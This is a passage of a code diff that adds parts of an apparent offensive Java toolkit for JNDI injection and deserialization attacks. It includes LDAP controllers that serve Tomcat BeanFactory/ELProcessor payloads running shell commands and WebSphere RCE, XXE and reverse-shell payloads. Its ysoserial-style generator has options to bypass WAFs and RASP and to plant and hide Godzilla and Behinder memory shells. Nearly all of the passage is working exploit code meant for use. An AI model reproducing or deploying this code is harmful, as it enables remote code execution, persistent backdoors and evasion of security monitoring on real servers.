payloadType = PayloadType.valueOf(Ty3.toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.sethttp) {
|
||||
params = BCEL1;
|
||||
System.out.println(ansi().render("@|green [+] command:|@" + BCEL1));
|
||||
}
|
||||
|
||||
if (payloadType == PayloadType.command) {
|
||||
|
||||
if (gadgetType1 == GadgetType.base64) {
|
||||
cmd11 = Util.getCmdFromBase(base);
|
||||
}
|
||||
|
||||
if (gadgetType1 == GadgetType.base64Two) {
|
||||
String encodedString = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
|
||||
String T1 = new String(decodedBytes);
|
||||
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
|
||||
cmd11 = new String(decodedBytes1);
|
||||
}
|
||||
|
||||
params = cmd11;
|
||||
System.out.println(ansi().render("@|green [+] command:|@" + cmd11));
|
||||
}
|
||||
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.GadgetType;
|
||||
import com.qi4l.jndi.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.InjShell;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.commons.cli.CommandLine;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.io.IOException;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
@LdapMapping(uri = {"/tomcatbypass"})
|
||||
public class TomcatBypassController implements LdapController {
|
||||
public static CommandLine cmdLine;
|
||||
private String payloadType;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
/**
|
||||
* 发送LDAP ResourceRef结果和重定向URL
|
||||
*
|
||||
* @param result InMemoryInterceptedSearchResult类型的结果
|
||||
* @param base 基本远程参考负载字符串
|
||||
* @throws Exception 异常
|
||||
*/
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@"));
|
||||
System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------");
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||
TomcatBypassHelper helper = new TomcatBypassHelper();
|
||||
String code = null;
|
||||
|
||||
if (payloadType.contains("E-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||
code = InjShell.injectClass(EchoClass);
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
Class<?> classQ = Gadgets.createClassT(ClassName1);
|
||||
code = InjShell.injectClass(classQ);
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
code = helper.getExecCode(params[0]);
|
||||
}
|
||||
|
||||
String payloadTemplate = "{" +
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||
".eval(\"{replacement}\")" +
|
||||
"}";
|
||||
String finalPayload = payloadTemplate.replace("{replacement}", code);
|
||||
ref.add(new StringRefAddr("x", finalPayload));
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
// 将条目发送至结果中,并将结果设置为成功
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理传入的参数 base
|
||||
*
|
||||
* @param base 传入的参数
|
||||
* @throws UnSupportedPayloadTypeException 不支持的载荷类型异常
|
||||
* @throws IncorrectParamsException 错误的参数异常
|
||||
* @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常
|
||||
*/
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType));
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+] Command : |@" + cmd));
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.shell) {
|
||||
String cmd1 = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Util.base64Decode(cmd1);
|
||||
String cmd = new String(decodedBytes);
|
||||
String[] cmdArray = cmd.split(" ");
|
||||
System.out.println(ansi().render("@|green [+] Command : |@" + cmd));
|
||||
params = cmdArray;
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.msf) {
|
||||
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||
Config.rhost = results1[0];
|
||||
Config.rport = results1[1];
|
||||
System.out.println("[+] RemotHost: " + results1[0]);
|
||||
System.out.println("[+] RemotPort: " + results1[1]);
|
||||
params = results1;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
|
||||
private class TomcatBypassHelper {
|
||||
|
||||
public String getExecCode(String cmd) throws IOException {
|
||||
|
||||
String code = "var strs=new Array(3);\n" +
|
||||
" if(java.io.File.separator.equals('/')){\n" +
|
||||
" strs[0]='/bin/bash';\n" +
|
||||
" strs[1]='-c';\n" +
|
||||
" strs[2]='" + cmd + "';\n" +
|
||||
" }else{\n" +
|
||||
" strs[0]='cmd';\n" +
|
||||
" strs[1]='/C';\n" +
|
||||
" strs[2]='" + cmd + "';\n" +
|
||||
" }\n" +
|
||||
" java.lang.Runtime.getRuntime().exec(strs);";
|
||||
|
||||
return code;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.enumtypes.WebsphereActionType;
|
||||
import com.qi4l.jndi.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedActionTypeException;
|
||||
import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Properties;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
/*
|
||||
* Requires:
|
||||
* - websphere v6-9 libraries in the classpath
|
||||
*/
|
||||
|
||||
@LdapMapping(uri = {"/webspherebypass"})
|
||||
public class WebsphereBypassController implements LdapController {
|
||||
private WebsphereActionType actionType;
|
||||
private String localJarPath;
|
||||
private String injectUrl;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
|
||||
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||
|
||||
Reference ref;
|
||||
if (actionType == WebsphereActionType.rce) {
|
||||
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
|
||||
ref = new Reference("ExportObject",
|
||||
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
|
||||
Properties refProps = new Properties();
|
||||
refProps.put("com.ibm.ws.client.classpath", localJarPath);
|
||||
refProps.put("com.ibm.ws.client.classname", "xExportObject");
|
||||
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
|
||||
|
||||
} else {
|
||||
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
|
||||
ref = new Reference("ExploitObject",
|
||||
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
|
||||
ref.add(new StringRefAddr("WSDL location", injectUrl));
|
||||
ref.add(new StringRefAddr("service namespace", "xxx"));
|
||||
ref.add(new StringRefAddr("service local part", "yyy"));
|
||||
}
|
||||
e.addAttribute("javaSerializedData", Util.serialize(ref));
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
|
||||
try {
|
||||
int firstIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", firstIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
switch (actionType) {
|
||||
case list:
|
||||
String file = base.substring(base.lastIndexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
|
||||
break;
|
||||
case rce:
|
||||
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
|
||||
localJarPath = localJarFile;
|
||||
break;
|
||||
case upload:
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
|
||||
PayloadType payloadType;
|
||||
try {
|
||||
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
// webspherebypass 只支持这 4 种类型的 PayloadType
|
||||
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
|
||||
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
|
||||
}
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
|
||||
switch (payloadType) {
|
||||
case command:
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
|
||||
break;
|
||||
case dnslog:
|
||||
String url = base.substring(base.lastIndexOf("/") + 1);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
|
||||
break;
|
||||
case reverseshell:
|
||||
String[] results = Util.getIPAndPortFromBase(base);
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
|
||||
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
|
||||
break;
|
||||
case webspherememshell:
|
||||
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package com.qi4l.jndi.controllers.utils;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
public class AESUtils {
|
||||
private static final String ALGORITHM = "AES";
|
||||
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
|
||||
private static final int KEY_SIZE = 16;
|
||||
|
||||
public static String decrypt(String ciphertext, String key) throws Exception {
|
||||
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
|
||||
byte[] ivBytes = new byte[KEY_SIZE];
|
||||
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
|
||||
|
||||
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
|
||||
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
|
||||
|
||||
byte[] keyBytes = getKeyBytes(key);
|
||||
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
|
||||
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
|
||||
|
||||
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
|
||||
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
|
||||
|
||||
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
|
||||
return new String(decryptedBytes, StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
private static byte[] getKeyBytes(String key) {
|
||||
byte[] keyBytes = new byte[KEY_SIZE];
|
||||
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
|
||||
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
|
||||
return keyBytes;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,240 @@
|
||||
package com.qi4l.jndi.controllers;
|
||||
|
||||
import com.qi4l.jndi.gadgets.Config.Config;
|
||||
import com.qi4l.jndi.gadgets.ObjectPayload;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Serializer;
|
||||
import com.qi4l.jndi.gadgets.utils.StringUtil;
|
||||
import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import org.apache.commons.cli.*;
|
||||
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword;
|
||||
import static com.qi4l.jndi.gadgets.utils.StringUtil.isFromExploit;
|
||||
|
||||
public class ysoserial {
|
||||
|
||||
public static CommandLine cmdLine;
|
||||
public static Object PAYLOAD = null;
|
||||
|
||||
public static void ysoserial(String[] args) {
|
||||
final Options options = getOptions();
|
||||
|
||||
CommandLineParser parser = new DefaultParser();
|
||||
|
||||
if (args.length == 1) {
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
try {
|
||||
cmdLine = parser.parse(options, args);
|
||||
} catch (Exception e) {
|
||||
System.out.println("[*] Parameter input error, please use -h for more information");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("inherit")) {
|
||||
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("obscure")) {
|
||||
Config.IS_OBSCURE = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("cmd-header")) {
|
||||
Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("url")) {
|
||||
String url = cmdLine.getOptionValue("url");
|
||||
if (!url.startsWith("/")) {
|
||||
url = "/" + url;
|
||||
}
|
||||
Config.URL_PATTERN = url;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("define-class-from-parameter")) {
|
||||
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("file")) {
|
||||
Config.WRITE_FILE = true;
|
||||
Config.FILE = cmdLine.getOptionValue("file");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("password")) {
|
||||
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
|
||||
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("godzilla-key")) {
|
||||
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("header-key")) {
|
||||
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("header-value")) {
|
||||
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("no-com-sun")) {
|
||||
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("mozilla-class-loader")) {
|
||||
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("rhino")) {
|
||||
Config.USING_RHINO = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
|
||||
Config.IS_UTF_Bypass = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("gen-mem-shell")) {
|
||||
Config.GEN_MEM_SHELL = true;
|
||||
|
||||
if (cmdLine.hasOption("gen-mem-shell-name")) {
|
||||
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
|
||||
}
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("hide-mem-shell")) {
|
||||
Config.HIDE_MEMORY_SHELL = true;
|
||||
|
||||
if (cmdLine.hasOption("hide-type")) {
|
||||
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
|
||||
}
|
||||
}
|
||||
|
||||
final String payloadType = cmdLine.getOptionValue("gadget");
|
||||
final String command = cmdLine.getOptionValue("parameters");
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
|
||||
if (payloadClass == null) {
|
||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||
printUsage(options);
|
||||
System.exit(1);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
ObjectPayload payload = payloadClass.newInstance();
|
||||
Object object = payload.getObject(command);
|
||||
|
||||
// 是否指定混淆
|
||||
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
|
||||
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
|
||||
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
|
||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||
}
|
||||
|
||||
// 储存生成的 payload
|
||||
PAYLOAD = object;
|
||||
|
||||
if (isFromExploit()) {
|
||||
return;
|
||||
}
|
||||
|
||||
OutputStream out;
|
||||
|
||||
if (Config.WRITE_FILE) {
|
||||
out = new FileOutputStream(Config.FILE);
|
||||
} else {
|
||||
out = System.out;
|
||||
}
|
||||
Serializer.qiserialize(object, out);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
out.flush();
|
||||
out.close();
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
e.printStackTrace();
|
||||
System.exit(1);
|
||||
}
|
||||
System.exit(0);
|
||||
}
|
||||
private static Options getOptions() {
|
||||
System.out.println("██╗ ██╗███████╗ ██████╗ \n" +
|
||||
"╚██╗ ██╔╝██╔════╝██╔═══██╗\n" +
|
||||
" ╚████╔╝ ███████╗██║ ██║\n" +
|
||||
" ╚██╔╝ ╚════██║██║ ██║\n" +
|
||||
" ██║ ███████║╚██████╔╝\n" +
|
||||
" ╚═╝ ╚══════╝ ╚═════╝ \n");
|
||||
Options options = new Options();
|
||||
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||
options.addOption("p", "parameters", true, "Gadget parameters");
|
||||
options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data");
|
||||
options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2");
|
||||
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
|
||||
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
|
||||
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
|
||||
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
|
||||
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
|
||||
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
|
||||
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
|
||||
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
|
||||
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
|
||||
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
|
||||
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
|
||||
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
|
||||
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
|
||||
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
|
||||
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
|
||||
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
|
||||
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
|
||||
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
|
||||
return options;
|
||||
}
|
||||
|
||||
private static void printUsage(Options options) {
|
||||
|
||||
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
|
||||
System.err.println("[root]#~ Available payload types:");
|
||||
|
||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<String[]>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
final List<String> lines = StringUtil.formatTable(rows);
|
||||
|
||||
for (String line : lines) {
|
||||
System.err.println(" " + line);
|
||||
}
|
||||
|
||||
System.err.println("\r\n");
|
||||
HelpFormatter helpFormatter = new HelpFormatter();
|
||||
helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth()));
|
||||
helpFormatter.printHelp("JYso-[version].jar", options, true);
|
||||
|
||||
System.err.println("\r\n");
|
||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package com.qi4l.jndi.enumtypes;
|
||||
|
||||
public enum GadgetType {
|
||||
base64Two,
|
||||
msf,
|
||||
base64,
|
||||
shell,
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.qi4l.jndi.enumtypes;
|
||||
|
||||
public enum PayloadType {
|
||||
sethttp,
|
||||
dnslog,
|
||||
tomcatupgrade,
|
||||
command,
|
||||
reverseshell,
|
||||
tomcatecho,
|
||||
springecho,
|
||||
weblogicecho,
|
||||
windowsecho,
|
||||
linuxecho2,
|
||||
linuxecho1,
|
||||
allecho,
|
||||
websphereecho,
|
||||
resinecho,
|
||||
tomcatfilterjmx,
|
||||
tomcatfilterth,
|
||||
tomcatlistenerjmx,
|
||||
tomcatlistenerth,
|
||||
tomcatservletjmx,
|
||||
tomcatservletth,
|
||||
jbossfilter,
|
||||
jbossservlet,
|
||||
webspherememshell,
|
||||
springinterceptor,
|
||||
springcontroller,
|
||||
issuccess,
|
||||
jettyfilter,
|
||||
jettyservlet,
|
||||
struts2actionms,
|
||||
wsfilter,
|
||||
tomcatexecutor,
|
||||
meterpreter,
|
||||
resinfilterth,
|
||||
resinservletth,
|
||||
jbossecho,
|
||||
jettyecho,
|
||||
cmsmsbync,
|
||||
proxymsbync,
|
||||
wsresin,
|
||||
mstsjproxy,
|
||||
mstsjser,
|
||||
wsweblogic,
|
||||
wswebsphereproxy,
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package com.qi4l.jndi.enumtypes;
|
||||
|
||||
public enum WebsphereActionType {
|
||||
list,
|
||||
upload,
|
||||
rce;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.jndi.exceptions;
|
||||
|
||||
public class IncorrectParamsException extends RuntimeException {
|
||||
public IncorrectParamsException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public IncorrectParamsException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.jndi.exceptions;
|
||||
|
||||
public class UnSupportedActionTypeException extends RuntimeException {
|
||||
public UnSupportedActionTypeException() {
|
||||
super();
|
||||
}
|
||||
|
||||
public UnSupportedActionTypeException(String message) {
|
||||
super(message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.qi4l.jndi.exceptions;
|
||||
|
